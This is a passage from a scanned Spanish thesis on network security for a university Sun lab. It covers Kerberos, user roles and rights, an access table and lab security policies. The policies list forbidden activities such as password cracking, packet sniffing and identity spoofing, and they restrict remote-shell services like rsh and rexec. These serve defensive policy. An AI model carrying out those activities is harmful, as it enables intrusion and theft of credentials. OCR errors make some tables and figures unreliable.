Desde el punto de vista del administrador, éste deberá inicializar la KDB, instalar Kerberos y el servidor de administración, inicializar los programas de duplicado de KDB en las máquinas esclavas, instalar aplicaciones kerberizadas e implementar la seguridad física de Kerberos.

Kerberos es una magnífica opción para aquellos administradores que tiene problemas con la confidencialidad de la información en la organización, el envío de información cifrada por la red elimina el riesgo de que la información capturada pueda ser utilizada por terceros. Muchas organizaciones comerciales, especialmente bancos, están orientando sus esfuerzos hacia Internet y existen quienes ya utilizan servicios de encriptamiento de información por la red.

A través de todo este capítulo se han mencionado herramientas de mucha utilidad para al administrador, lo mejor de todo es que éstas están disponibles en dominio público y pueden ser obtenidas en forma gratuita.

Es posible que después de haber leído éste capítulo el lector se haya dado cuenta de que proteger una red no es una cosa sencilla y que pueda ser implementada de la noche a la mañana, es una tarea difícil de realizar y más cuando se trata de una red extensa y compleja. La red del Laboratorio de sun es ahora una de las redes dentro del campus que ha utilizado algunas de éstas herramientas, como COPS, SATAN, FireWall TIS y es bueno afirmar que la configuración del Laboratorio ha cambiado, los resultados obtenidos por permisos de usuarios mal configurados, cuentas sin password y accesos no pennitidos. Un punto importante que será cubierto por el capítulo siguiente tiene que ver con la implantación de políticas de seguridad, las cuales adoptan la necesidad de utilizar herramientas como un método eficaz de incrementar la seguridad en la red.

109

Page 117: Estrategias para incrementar la seguridad de una red

Capítulo VII

Capítulo VII.

Políticas de seguridad.

En las políticas a establecer se va a determinar cómo los usuarios pueden accesar información con base en un conjunto de reglas que se han determinado. La autorización va a depender de los privilegios o atributos de seguridad que tenga el usuario y la información ya que ésta puede ser información confidencial.

Para adaptar la definición a un ambiente más computacional es necesario describirla en términos de objetos y sujetos. En la implementación de una política de seguridad se debe definir los conceptos, sujetos y objetos de naturaleza abstracta que podrán ser utilizados en alguna política con el fin de evitar conflictos por una mala interpretación de éstas.

Se entiende por un concepto abstracto aquello que no permita expresar una idea tangible al lector del asunto, sujeto u objeto en cuestión y que produzca confusión en cuanto a la forma de éste o pueda ser conceptualizado de forma diferente por cada persona. Un concepto abstracto puede ser genérico y no concreto o difícil de comprender.

Un sujeto es cualquier individuo con derechos y responsabilidades, con personalidad propia y única, que puede ser identificado en la organización como miembro de ésta y es la persona que dice ser, con capacidad de razonamiento

Un objeto es cualquier elemento de la organización que puede ser materia de conocimiento intelectual o sensible y que puede representar un recurso.

La clasificación de los objetos y sujetos que interactúan con en el Laboratorio de Sun está ordenada linealmente y se denota de la siguiente forma de acuerdo a su importancia:

No clasificado < Confidencial < Secreto < Super secreto, donde no clasificado es el nivel más bajo de seguridad y super secreto es el más alto.

El nivel de autorización que tenga un sujeto sobre un objeto va a estar determinado por la categoría de cada elemento.

Si la categoría del sujeto es superior o igual a la categoría del objeto, el sujeto puede tener el acceso que se haya definido para el objeto.

Prescribiendo nuevamente la definición, una política de seguridad va a determinar cómo los sujetos pueden accesar objetos con base en un conjunto de reglas que se han determinado. La autorización va a depender de los privilegios o atributos de seguridad que tengan el sujeto y los objetos.

Un usuario normal del sistema es un sujeto profesor, alumno o personal del ITESM CEM, que tiene derechos, participación y responsabilidades en el sistema, mismas que han sido otorgados por el administrador de la red de acuerdo a sus necesidades.

Un usuario interno del sistema es un sujeto profesor, alumno o personal del ITESM CEM, que tiene derechos, participación y responsabilidades en el sistema, mismas que han sido otorgados por el administrador de la red de acuerdo a sus necesidades y que se encuentra físicamente dentro del laboratorio haciendo uso de los recursos disponibles.

110

Page 118: Estrategias para incrementar la seguridad de una red

Capítulo VII

Un usuario operador del sistema es un sujeto que tiene derechos, participación y responsabilidades en el sistema, mismas que han sido otorgados por el administrador de la red de acuerdo a sus necesidades y funciones, la mayoría de las veces éste tiene privilegios para operar las colas de impresión, encendido y apagado de las máquinas.

Un usuario temporal es aquel sujeto que tiene una participación eventual en el sistema, que tiene derechos restringidos a los recursos disponibles en el sistema y cuya cuenta tiene una fecha de expiración no mayor a una semana.

Un usuario administrador de la red es aquel sujeto capacitado y autorizado por la organización para el manejo y administración de los recursos de la red privada con el fin de lograr las metas y objetivos establecidos y tiene privilegios de super usuario en todos los hosts que pertenecen a la red privada que está bajo su cargo.

Un usuario autorizado es cualquier usuario normal, operador o administrador de la red, que ha sido dado de alta en el sistema privado; si se detecta que el usuario utiliza un password débil, será considerado como un usuario no autorizado.

Un usuario no autorizado es cualquier usuario normal, operador o administrador de la red, que no está registrado como tal en el sistema privado. Es un usuario que está dado de baja o no existe en el sistema privado, también conocido como usuario externo. Se considera que un usuario temporal es no autorizado si el administrador de la red no ha permitido su acceso.

Los usuarios clasificados es todo aquel usuario normal interno o externo que están bajo vigilancia por el administrador de red, debido a actos de vandalismo que ha realizado con anterioridad.

En la tabla 7.1, ubicada en la página 119, se explica y muestran algunas de las políticas de seguridad del control de acceso lógico, las palabras "Libre acceso" se utilizan para permitir el acceso del usuario a los recursos que el administrador de red le ha otorgado y no significa que el usuario puede violar los permisos establecidos en las políticas.

Un sitio es cualquier host conectado a Internet y que tiene la capacidad de conectarse en forma remota a nuestra red privada.

Un sitio externo es todo aquel que debe ser autentificado por el firewall y que se encuentra fuera de la red privada.

Un sitio de confianza interno es todo aquel que está dentro de nuestra red privada y que no tiene acceso directo desde Internet, es decir, que está atrás del firewall.

Un sitio de confianza externo son aquellos sitios que están contactados desde Internet y fuera del dominio de la red privada. Todo sitio externo a la red privada debe pasar los controles del firewall y sólo tendrán acceso a nuestro sistema los sitios que estén en la lista de acceso del firewall, por lo que los sitios de confianza externos deberán estar en la lista de acceso.

Un sitio no confiable externo es aquel que no se encuentre en la lista de acceso del firewall.

En la figura 7.1, se muestra un ejemplo de sitios externos confiables, no confiables y sitios internos.

111

Page 119: Estrategias para incrementar la seguridad de una red

Capítulo VII

!Sitio no confiable!

Sitio de confianza

148.241.32.100

148.241.31.20

148.241.32.100 148.241.31.20

Red Privada

[Figura 7.1] - Sitios de confianza y no confiables.

La figura muestra que los hosts 148.241.4.6 y 148.241.6.23 son sitios externos no confiables, los sitios de confianza son todos los que integran la red privada y aquellos que están dados de alta en el firewall (148.241.32.100 y 148.241.31.20).

Para muchos sitios, el interés en seguridad computacional es proporcional a la percepción del riesgo y sus amenazas. La meta principal para desarrollar un política de seguridad computacional, es definir las expectativas de la organización para determinar el uso propio de computadoras y redes, definiendo los procedimientos a seguir para prevenir y responder a un incidente de seguridad.

Las personas que se han designado para interpretar las políticas que en éste documento se presentan, es un comité formado por tres sujetos:

Director de los Laboratorios de Cómputo Especializado: que representa la autoridad. Administrador de Red: personal operativo involucrado con la forma de operación diaria del laboratorio. Especialista en seguridad: sujeto con conocimiento en seguridad computacional.

Existen dos sujetos que tienen la capacidad de otorgar el acceso y uso de los recursos en el sitio o red privada, éstos son: Administrador de la Red y Director de los Laboratorios, asesorado por el administrador de red con el fin de establecer factibilidad de la aprobación.

Se dice que una cuenta es víctima del mal uso: cuando se están ejecutando programas prohibidos o no autorizados, se ha detectado un ataque y dicha cuenta está involucrada, cuando se está utilizando para obtener accesos no autorizados, cuando se usa para suplantar identidades, cuando tiene un password con fecha de expiración vencida, cuando el password ha sido prestado a otro sujeto, cuando tiene un password débil o cuando está violando cualquiera de las políticas descritas en éste capítulo.

Se considera que un usuario ha realizado un acceso indebido a otra cuenta que le es ajena, cuando dicho acceso ha sido logrado utilizando métodos no autorizados y sin la autorización y la presencia del dueño de la cuenta afectada.

7.1 Usuario Normal.

Derechos del usuario normal:

• Solicitar más espacio en disco si la causa justifica tareas o proyectos académicos.

112

Page 120: Estrategias para incrementar la seguridad de una red

Capítulo VII

• Solicitar los manuales que se encuentran en el laboratorio para su uso dentro del mismo.

• Solicitar información que le permita saber cómo cambiar su password.

• Solicitar información que le permita saber cómo respaldar su información.

• Solicitar el vencimiento de la cuenta cuando él o ella lo decida.

Responsabilidades del usuario normal:

• Proteger su cuenta con los permisos adecuados (700).

• No prestar ésta bajo ningún motivo el hacerlo incrementa el riesgo y compromete las demás cuentas.

• No divulgar su password bajo ninguna circunstancia.

• Solicitar autorización para ver archivos de configuración que pertenecen al sistema.

• Solicitar permiso para ejecutar programas no autorizados o prohibidos en la red.

• Respaldar la información contenida en sus cuentas en medios externos como cintas o disquetes.

• Acreditar su acceso al Laboratorio bajo la entrega temporal (durante su estancia en el mismo) de la credencial vigente que lo acredita como sujeto miembro del ITESM CEM.

• Cuidar el pad que le ha sido asignado durante su estancia en el Laboratorio.

• Informar al administrador cuando detecte que otro usuario está ejecutando aplicaciones no permitidas en el laboratorio.

• Realizar un cambio del password que le ha sido asignado cada semana como mínimo.

• Utilizar el espacio en disco que ha sido asignado para uso académico sin afectar los intereses de Instituto.

• Apagar la máquinas con el método convencional cuando sea necesario.

7.2 Usuario Interno.

Derechos del usuario interno:

• Solicitar más espacio en disco si la causa justifica tareas o proyectos académicos.

• Solicitar los manuales que se encuentran en el laboratorio para su uso dentro del mismo.

• Solicitar información que le permita saber cómo cambiar su password.

• Solicitar información que le permita saber cómo respaldar su información.

• Solicitar el vencimiento de la cuenta cuando él o ella lo decida.

• Solicitar asesoría a los especialistas y operadores que laboran en el laboratorio.

113

Page 121: Estrategias para incrementar la seguridad de una red

Capítulo VII

Responsabilidades del usuario interno:

• Proteger su cuenta con los permisos adecuados (700).

• No prestar ésta bajo ningún motivo el hacerlo incrementa el riesgo y compromete las demás cuentas.

• No divulgar su password bajo ninguna circunstancia.

• Solicitar autorización para ver archivos de configuración que pertenecen al sistema.

• Solicitar permiso para ejecutar programas no autorizados o prohibidos en la red.

• Respaldar la información contenida en sus cuentas en medios externos como cintas o disquetes.

• Acreditar su acceso al Laboratorio bajo la entrega temporal (durante su estancia en el mismo) de la credencial vigente que lo acredita como sujeto miembro del ITESM CEM.

• Cuidar el pad que le ha sido asignado durante su estancia en el Laboratorio.

• Informar al administrador cuando detecte que otro usuario esta ejecutando aplicaciones no permitidas en el laboratorio.

• Realizar un cambio del password que le ha sido asignado cada semana como mínimo.

• Utilizar el espacio en disco que ha sido asignado para uso académico sin afectar los intereses de Instituto.

• Apagar la máquinas con el método convencional cuando sea necesario.

7.3 Usuario Operador.

Derechos del usuario operador:

• Prestar los manuales que se encuentran en el laboratorio para su uso dentro del mismo.

• Solicitar información que le permita saber cómo cambiar su password.

• Solicitar información que le permita saber cómo respaldar su información.

Responsabilidades del usuario operador:

• Proteger su cuenta con los permisos adecuados (700).

• No prestar ésta bajo ningún motivo, el hacerlo incrementa el riesgo y compromete las demás cuentas.

• No divulgar su password bajo ninguna circunstancia.

• Solicitar autorización para ver archivos de configuración que pertenecen al sistema.

• Solicitar permiso para ejecutar programas no autorizados o prohibidos en la red.

• Respaldar la información contenida en sus cuentas en medios externos corno cintas o disquetes.

• Informar al administrador cuando detecte que otro usuario esta ejecutando aplicaciones no permitidas en el laboratorio.

• Utilizar el espacio en disco que ha sido asignado para uso académico sin afectar los intereses de Instituto.

• Dar de baja las impresiones que deban cancelarse por petición del dueño de las mismas.

• Asignar máquina a cualquier usuario que se haya identificado como autorizado.

114

Page 122: Estrategias para incrementar la seguridad de una red

Capítulo VII

7 .4 Usuario Temporal.

Derechos del usuario temporal :

• Utilizar el espacio y cuenta que le ha sido asignado.

• Solicitar los manuales que se encuentran en el laboratorio para su uso dentro del mismo.

• Solicitar información que le permita saber cómo cambiar su password.

• Solicitar información que le permita saber cómo respaldar su información.

Responsabilidades del usuario temporal :

• Proteger su cuenta con los permisos adecuados (700).

• No prestar su cuenta bajo ningún motivo, el hacerlo provoca la cancelación de la misma.

• Respaldar la información contenida en sus cuentas en medios externos como cintas o disquetes.

• Acreditar su acceso al Laboratorio bajo la identificación que se ha elaborado en el laboratorio para visitantes.

• Cuidar el pad que le ha sido asignado durante su estancia en el Laboratorio.

• No divulgar su password bajo ninguna circunstancia.

• Utilizar el espacio en disco que ha sido asignado para el uso especificado sin afectar los intereses de Instituto.

7.5 Usuario Administrador de Red.

Derechos del Administrador de la red.

• Leer, modificar y borrar todos los archivos propiedad del sistema con el fin de lograr un mejor desempeño del mismo.

• Eliminar del sistema todos aquellos programas que hayan sido evaluados como programas prohibidos.

• Rechazar la petición de aumentar el espacio asignado a cualquier usuario si la causa no justifica tareas o proyectos académicos o el sistema ya no tiene más espacio que asignar.

• Ejecutar programas de monitoreo que le permitan saber aquellas cuentas que tengan passwords débiles.

• Ejecutar programas de búsqueda que le permita conocer el estatus de la configuración del sistema, con el fin de tapar los huecos existentes.

• Monitorear la carga de procesamiento en cada una de las máquinas que pertenecen a la red privada.

• Definir qué accesos son permitidos y que accesos no son permitidos a los recursos que son propiedad de la red.

• Cancelar las cuentas que se han detectado con mal uso.

115

Page 123: Estrategias para incrementar la seguridad de una red

Capítulo VII

• Eliminar o modificar todos aquellos archivos o directorios que han sido evaluados como mal configurados y que pueden poner en riesgo la seguridad de la red.

• Tiene la capacidad de cuestionar los procesos de usuarios que tengan un tiempo mayor a 20 minutos de estar ejecutándose, en caso de que dichos procesos no tengan ninguna razón académica, serán eliminados.

• Tiene la capacidad de cambiar los passwords que ha considerado débiles y deshabilitar la cuenta correspondiente.

Responsabilidades.

• No divulgar el password de super usuario bajo ninguna circunstancia.

• Aplicar los procedimientos de respaldo del sistema en forma diaria.

• Informar de los cambios generados en el sistema a todos los usuarios autorizados.

• Definir cuáles son los hosts confiables para la red privada.

• Instalar servicios y herramientas de seguridad en la red.

• Realizar un cambio del password que le ha sido asignado cada semana como mínimo.

• Informar a los usuarios cómo realizar el cambio del password.

• Informar a los usuarios cómo respaldar su información.

• Revisar los permisos de todos los usuarios en el sistema y ajustar los que no estén correctos.

• Revisar los permisos de los archivos, directorios y sistemas de archivos que pertenecen a la configuración del sistema y que pueden comprometer la seguridad de la red privada.

7. 6 Lineamientos.

• La protección de la red debe estar basada en las políticas de seguridad establecidas, los servicios de seguridad autorizados y mecanismos implantados para la prevención de la misma.

• Cualquier usuario operador, temporal, o normal tienen prohibido instalar aplicaciones en cualquier dispositivo de la red privada, que comprometan la seguridad de la red privada y cuentas de otros usuarios.

• El cable que enlaza a los Laboratorios a la red general del Campus es propiedad de éstos y nadie puede conectar ninguna terminal de ningún tipo si no ha sido autorizado por el Director o Administrador del Laboratorio.

• Este trabajo está orientado a definir políticas referente al acceso lógico más que al acceso físico, ya que el sitio a proteger se encuentra ubicado en un edificio dentro del ITESM CEM, por lo que el personal de seguridad física debe ser el encargado de asegurar que sólo alumnos y personal autorizado del ITESM CEM pueda tener acceso a las instalaciones del mismo.

• El firewall deberá reflejar las políticas de control de acceso lógico automatizables, que se hayan definido para la red.

• El acceso que existe para el uso del software del Laboratorio de manera interna y externa, tomando en cuenta usuarios internos y externos va a estar regido por los permisos que se muestran en la tabla 7.1.

• Todos los casos especiales son autorizados de acuerdo a los controles que establezca el Director de los Laboratorios en coordinación con el administrador de red.

116

Page 124: Estrategias para incrementar la seguridad de una red

Localización del Software

Usuarios

Alumnos de DIC

Alumnos del ITESM-CEM

Alumnos del ITESM

Profesores ITESM CEM

Personal Administrativo ITESM CEM

Usuarios de Internet

Usuarios Clasificados

Usuarios Temporales

Capítulo VII

Laboratorios de Cómputo Especializado

Uso del Software del

LCE Sun

Dentro del LCE Sun

Libre acceso

Caso Especial

Caso Especial

Libre acceso

Libre acceso

Negación de acceso

Negación de acceso

Caso Especial

INTERNET

Uso del Software del

LCE Sun

Dentro del ITESM-CEM

Libre acceso

Caso Especial

Caso Especial

Libre acceso

Libre acceso

Negación de acceso

Negación de acceso

--

Caso Especial

Sistema ITESM

Opciones: 1. Libre acceso

2. Negación de acceso

3. Ca,o Especial

Uso del Software del Uso del Software del Uso dd Software de

LCE Sun LCE Sun ITESM CEM

Desde el ITESM Desde Internet Desde el LCE Sun

Libre acceso Libre acceso Libre acceso

Caso Especial Ca~o Especial Libre acceso

Caso Especial Negación de acceso Caso Especial

Caso Especial Caso Especial Libre acceso

Caso Especial Caso Especial Negación de acceso

Negación de acceso Negación de acceso Negación de acceso

Negación de acceso Negación de acceso Negación de acceso

Negación de acceso Negación de acceso Caso Especial

--0-ITESM CEM i ~~~ 1

T .... hl.-. 7 1

Uso del Software de Uso del Software dt

ITESM Internet

Desde LCE Sun Desde LCE Sun

Libre acceso Libre acceso

Libre acceso Libre acceso

Caso especial Caso especial

Libre acceso Libre acceso

Caso especial Libre acceso

Negación de acceso Negación de acces,

Negación de acceso Negación de acces,

Negación de acceso Negación de acces,

Page 125: Estrategias para incrementar la seguridad de una red

Capítulo VII

• En la red privada existe un conjunto amplio de programas y aplicaciones que tienen un propietario y derechos definidos, y todos aquellos usuarios que no son propietarios o no tienen autorización para utilizar, leer o modificar dichas aplicaciones son considerados usuarios ajenos, por lo que una aplicación no permitida es aquella que es ejecutada por un usuario ajena a ésta.

• Programas que se consideran prohibidos son todos aquellos que una vez que son ejecutados, intentan adivinar passwords de otros usuarios, programas que buscan huecos de seguridad, dentro y fuera de la red privada, programas que modifiquen información ajena, programas que se utilicen para suplantar identidades.

• Las siguientes actividades son consideradas peligrosas y por lo tanto prohibidas para la red privada:

a) Rompimiento no permitido de passwords. b) Entrar sin autorización a cuentas ajenas. c) Ejecutar aplicaciones que programan las tarjetas de red para interceptar los mensajes que no son

propios. d) Enviar mensajes suplantando identidades.

• Se considera qlie un archivo o directorio está mal configurado cuando el propietario de éste u otro usuario ajeno ha realizado cambios que ponen en riesgo la seguridad de la red.

• Una cuenta con permisos de escritura y lectura para todo el mundo es un directorio mal configurado.

• Una cuenta con password débil es un archivo mal configurado.

• Un archivo /etc/host.equiv o .rhosts que no contiene las cuentas y hosts de confianza establecidos, es un archivo mal configurado.

• La políticas implementadas en este trabajo están basadas en una filosofía, misma que se ha adoptado para la implantación de políticas en el firewall:

"Todo lo que no está expresamente permitido, está prohibido".

7. 7 Recomendaciones.

• El administrador debe asegurar que la configuración del archivo /etc/hosts.equiv contenga los hosts y cuentas de confianza que se han certificado como tal, en caso contrario debe ser eliminado.

• Asegurar que sólo los hosts pertenecientes al Laboratorio y hosts de confianza están en la lista de acceso del firewall.

• Realizar una revisión periódica de los permisos de los usuarios.

• Realizar una revisión periódica de permisos, programas y archivos exclusivos de la cuenta root.

• Firmar todos los comandos del sistema que han sido autorizados para uso de los usuarios.

• Firmar todos los programas y archivos propiedad de la cuenta root.

• Es indispensable la instalación de herramientas para prevención y monitoreo de la red, como TCP wrapper, Firewall, PGP, Kerberos, Password +, secure shell, SATAN, COPS, Tripwire o HASSUI para incrementar el ni ve! de seguridad.

• Búsqueda de passwords débiles cada semana con Password Cracker o COPS.

117

Page 126: Estrategias para incrementar la seguridad de una red

Capítulo VII

• Instalar rutinas que reporten al administrador la expiración de passwords.

• Deshabilitar la entrada a todas las cuentas de usuarios externos, temporales, normales y operador al servidor "sunlab".

• Eliminar o autorizar archivos .rhosts que ha evaluado previamente.

• Separar las cuentas de los profesores y de los alumnos en servidores diferentes y asegurar que las cuentas de alumnos no puedan tener acceso al servidor de cuentas de profesores.

• Mantener bajo llave la información con clasificación super secreta almacenada en medios como documentos, cintas, disquetes, CD-ROM, o cualquier otro.

7. 8 Políticas de seguridad para el Laboratorio de Son.

a) De la administración de las cuentas.

a. l) Las cuentas temporales serán deben ser eliminadas cuando se dejen de usar.

a.2) Una cuenta temporal tiene un periodo de vida de dos semanas.

a.3) Una cuenta de usuario normal u operador tiene un periodo de vida de seis meses.

b) De la administración de los respaldos.

b. l) El administrador debe realizar un respaldo diario de todo el sistema y de las firmas en archivos y programas de root, así como de los comandos autorizados para el uso de los usuarios.

c) Del control de Acceso Físico.

c. l) La entrada a el Laboratorio de Cómputo Especializado de los Departamentos de Ciencias Computacionales y Sistemas de Información, sólo será permitida a usuarios autorizados que se identifiquen con credencial vigente, misma que deberá ser será entregada al operador en turno.

c.2) Está prohibido sacar fuera del Laboratorio recursos que son propiedad de éste sin autorización escrita del Director del mismo

c.3) La única persona que tiene acceso a las cintas de respaldo, propiedad del laboratorio es el administrador de la red.

d) Del control de Acceso Lógico:

d. l) El firewall implementado debe tener en sus listas de acceso las direcciones de confianza: 148.241.61.* y 148.241.*.*.

d.2) Las políticas de control de acceso lógico que puedan ser automatizadas, deberán ser reflejadas en el firewall.

d.3) Cualquier usuario en el sistema que realice accesos no autorizados a programas, aplicaciones o hosts dentro y fuera de la red privada será reportado con el director de los laboratorios.

d.4) La única persona que puede autorizar montajes externos a sistemas de archivos de la red privada es el administrador.

d.5) Ningún usuario a excepción del administrador de red tiene acceso al servidor "sunlab.cem.itesm.mx".

118

Page 127: Estrategias para incrementar la seguridad de una red

Capítulo VII

d.6) Un alumno de la División de Ingeniería y Ciencias del ITESM CEM, tiene libre acceso a los recursos del Laboratorio desde cualquier sitio, respetando las políticas de integridad, confidencialidad y uso adecuado de los recursos.

e) Del uso de los permisos a los recursos otorgados.

e.1) Ninguna persona que no representa la identidad del administrador de red, puede hacer uso de la cuenta de super usuario, en caso de ausencia de éste, el Director de los Laboratorios toma la identidad.

e.2) El identificador de usuario que se ha asignado (uid) es único y no podrá ser cambiado bajo ninguna circunstancia.

e.3) Los programas de diagnóstico o cualquier herramienta de seguridad como: SATAN, COPS, Password Cracker, sólo podrán ser utilizadas por el administrador de red.

e.4) El administrador de la red es la única persona que puede dar autorización a cualquier usuario para ejecutar programas no autorizados o prohibidos.

f) Del uso de la cuenta.

f.1) Ningún usuario que no represente la personalidad del administrador de la red tiene la autorización para hacer uso de la cuenta de super usuario en forma remota.

f.2) El préstamo del password puede causar la suspención de la cuenta.

f.4) El espacio asignado es de carácter académico por lo que la instalación de programas o aplicaciones no autorizadas en cuentas de usuario normal, operador y temporal está prohibido ..

g) Del buen uso del recurso.

g. l) Se estará abusando del sistema cuando un usuario normal, temporal u operador:

1) ejecute programas no autorizados.

2) no respete cualquier política establecida en este documento.

3) utilice la cuenta de otro sujeto sin previa autorización.

g.2) Cualquier actividad que se considere un abuso será reportada al administrador de la red, con el fin de darle el seguimiento e importancia que la actividad represente.

g.3) El equipo, instalaciones y material de apoyo se entregará en buenas condiciones. En caso de extravío o daño por parte del usuario, éste lo tendrá que reponer.

g.4) Las únicas personas que pueden desconectar o mover equipo son usuarios operadores u administrador de red.

h) De la confidencialidad de la Información.

h.1) El acceso a información de clasificación super secreta no está permitido bajo ninguna circunstancia.

h.2) El acceso a información confidencial no está permitido bajo previa autorización.

h.3) El correo que pertenece a otro usuario es información confidencial y ningún otro usuario tiene la autorización de leer éste.

119

Page 128: Estrategias para incrementar la seguridad de una red

Capítulo VII

h.4) La información que se encuentra en la red privada es confidencial, ningún usuario puede leer, ésta si no es de su propiedad o no tiene autorización para hacerlo, aun cuando dicha información tenga permisos para todo el mundo.

i) De la integridad de la información.

i. l) Los programas copiados de Internet que puedan poner en peligro la información de la red privada y del ITESM CEM debe ser justificado como académico para su uso.

i.2) La información que se encuentra en la red privada es confidencial, ningún usuario puede borrar o modificar ésta, si no es de su propiedad o no tiene autorización para hacerlo, aun cuando dicha información tenga permisos para todo el mundo.

i.2) Cualquier usuario que cambia un password ajeno está violando los derechos de confidencialidad, disponibilidad e integridad y tiene que ser reportado al Director de los Laboratorios. (No aplica para el administrador de la red).

j) De la disponibilidad de la información y los recursos.

j.2) La información que se encuentra en la red privada es confidencial, ningún usuario accesar ésta, si no es de su propiedad o no tiene autorización para hacerlo, aun cuando dicha información tenga permisos para todo el mundo.

j.2) El administrador de la red es la única persona con autorización de decidir y poner a disponibilidad los servicios que considere necesarios para el ambiente de trabajo de un usuario normal, operador y temporal.

j.3) Queda prohibido el uso de paquetes y utilerías que son propiedad del Laboratorio, fuera de éste.

j.4) El administrador de red es la única persona con autorización para autorizar el uso de los servicios de : rlogin, tftp, crontab, talk, rexec, rsh, ypcat, mount, ypxfr y todos aquellos que ponen en riesgo la integridad, disponibilidad y confianza de la información.

k) De la capacitación a usuarios en seguridad computacional.

k. 1) Cualquier usuario que habrá de hacer uso de los recursos del Laboratorio debe tomar un curso de cultura de seguridad computacional.

k.2) Cualquier usuario que haga uso de los recursos del Laboratorio se entiende que tiene conocimientos de cultura computacional, conoce y entiende las políticas descritas en este documento.

Todo lo anterior implica una tarea bastante pesada para que el administrador de red pueda por sí solo cubrir, por lo que se sugiere que exista un equipo formado por dos personas para administración y asegurar el buen funcionamiento del laboratorio y otra persona encargada de la administración de la seguridad, ambas personas deben conocer el entorno global del site, así como tener la capacidad de coordinarse entre sí, para que el desempeño del laboratorio se vea más favorecido que afectado.

120

Page 129: Estrategias para incrementar la seguridad de una red

Conclusiones

Capítulo VIII Conclusiones.

Este trabajo ha sido realizado pensando en aquellos administradores que quizá no sepan que su red está desprotegida, o para aquellos administradores que sí lo saben, pero no tienen una base de conocimientos sobre seguridad computacional.

¿Dónde estamos?

Este trabajo comenzó afirmando que la red es más que un conjunto de cables interconectados entre sí, usted mismo después de haber leído éste documento se habrá dado cuenta de que eso es cierto, Internet sin gente que aporte sus ideas, sus inquietudes e investigaciones deja de ser lo que hoy en día es, pero también es cierto que la amenaza más grande existente sobre los recursos de su red rádica principalmente en la gente, la decisión de optar por una red protegida o desprtodegida sólo la tiene usted.

Afortunadamente la conciencia en cuanto a seguridad ya está creada en los diseñadores de aplicaciones, hemos escuchado que varias empresas integran a Kerberos como uno de los componentes principales para la protección de datos e información en sistema, IBM lo integra a su LAN Server, AFS (Andrew File System) la competencia de NFS lo toma para encriptamiento de datos de usuarios y la nuevas versiones de AIX ya incorporan la tecnología y filosofía de Kerberos, pero eso no es todo, algunos bancos, Bancomer por ejemplo, utiliza enlaces privados por medio de los cuales envía información encriptada de sus clientes.

Es bueno escuchar que muchas nuevas propuestas se están enfocando a la seguridad computacional, esto sin lugar a dudas será la plataforma de soporte para que aquí en México se formen grupos especializados en éste tópico.

¿Hacia dónde vamos?

El futuro nos plantea un camino a seguir, el cual está basado en la integración de la información y en la integración de millones de computadoras que con base en nuevas tecnologías tendrán la capacidad de transmitir y recibir voz, vídeo, datos escritos y cualquier otro tipo de información.

Uno de los puntos que aun falta por resolver es la formalización de unas políticas como las que plantea el capítulo VII, las cuales debe basarse en la evaluación con una herramienta para resolución de teoremas de orden lógico utilizando reglas, clusulas, predicados y funciones evaluables para evitar que éstas se contradigan.

Este trabajo deja nuevas ideas y nuevas ambiciones por desarrollar, ambas siguen enfocándose al área de seguridad y tienen como fin ultimo lograr una protección mayor contra aquellas personas dedicadas a corromper o violar los mecanismos de seguridad.

Una de las primeras ideas que surgió fue, lograr establecer una integración y estandarización a nivel campus de mecanismos, políticas y servicios de seguridad, esto con el fin de difundirse a nivel sistema. Éste sigue siendo un proyecto pero a pesar de que es bastante complicado lograrlo ya se ha empezado por algo. Ésta propuesta tiene un alto grado de complejidad ya que se está hablando de integrar un conjunto de redes, mismas que pueden ser totalmente diferentes en operación e información almacenada.

121

Page 130: Estrategias para incrementar la seguridad de una red

Conclusiones

Otra de las ideas está orientada al control de acceso lógico, se intenta incrementar a un nivel mayor el filtrado de paquetes, es decir, lograr analizar todos los paquetes que llegan a la red privada tomando sólo aquellos que contienen comandos válidos, como podremos recordar, el firewall realiza un control de acceso a nivel de capa 3 del modelo OSI, por lo que únicamente realiza el control de acceso dependiendo de la dirección IP fuente, de modo que ésta nueva idea propone verificar el paquete a nivel aplicación (capa 7 del modelo de referencia OSI) y determinar si el paquete es válido.

La evaluación para determinar la validez del paquete va a estar basada en las políticas de seguridad que la organización haya establecido, por ejemplo, si una política de seguridad establece que sólo ciertos hosts podrán realizar montajes remotos, entonces la nueva aplicación será capaz de verificar que todos aquellos hosts remotos que intenten montar los sistemas de archivos de la red privada deberán ser hosts confiables y además deberán estar definidos en la aplicación como hosts permitidos a realizar un montaje.

Otro proyecto interesante tiene que ver con criptografía, el planteamiento es el siguiente, tomar un modelo de criptografía y utilizar éste para el manejo y estandarización de correo electrónico en todo el campus, y ¿por que no?, también a nivel sistema, de ésta forma aseguramos que los mensajes que enviamos llevan un alto nivel de protección y confidencialidad.

Estamos ahora en un punto donde la tecnología nos propone sus estrategias y metodologías, pero no sólo se trata de esperar a que esta llegue y aporte. El mundo está cambiando y no podemos quedarnos mirando los cambios, debemos formar parte de éstos y actuar, no esperemos que otro venga por nosotros y nos lleve a rastras porque lejos de ser una ayuda sólo seremos carga.

Dejemos de adoptar esa actitud pasiva y vayamos en busca de aquello que nos permita realizar nuestras labores cotidianas comprometamos nuestras actividades a lograr que nuestra red sea una de las redes más seguras del mundo, recuerde que la seguirdad no sólo son mecanismos y herramientas, la seguridad comienza por uno mismo. De nada sirve tener millones de dólares invertidos en equipo con la más alta tecnología y los programas más avanzados de seguridad si nuestro password está escrito en un pequeño pedazo de papel junto a mi computadora, o peor aún, tenemos la mala costumbre de no usar una clave de acceso porque la consideramos innecesaria.

122

Page 131: Estrategias para incrementar la seguridad de una red

Referencias

Referencias:

[1] Andrew S. Tanenbaum, "Sistemas Operativos Modernos", Prentice Hall. 1993.

[2] Peter Denning, "Computer Viruses", American Scientist, vol. 76, pp 236-238, May-June 1988.

[3] "RSA's Frquently Asked Questions About Today's Cryptography", RSA Laboratories, h ttp:/ /www .rsa.com/rsal bs/faq/faq_rsa. html #rsa.1

[4] W. Richard Stevens, "UNIX Network Programming", Prentice Hall. 1990.

[5] Harley Hahn, "INTERNET Manual de Referencia", McGraw Hill. 1994.

[6] Douglas E. Comer, "Internetworking whit TCP/IP",Vol.I, 2nd edition, Prentice Hall, 1991.

[7] Craig Hunt, "TCP/IP Network Administration", O'Reilly&Associates,Inc.

[8] Clifford Stoll, "The Cuckoo's egg", Doubleday.

[9] David A. Curry, "UNIX System Security, A guide for users and system administrators", Addison-Wesley Professional Computing Series.1992.

[ 1 O] David A. Curry, "Improving the Security of your UNIX System", SRI International, 1990.

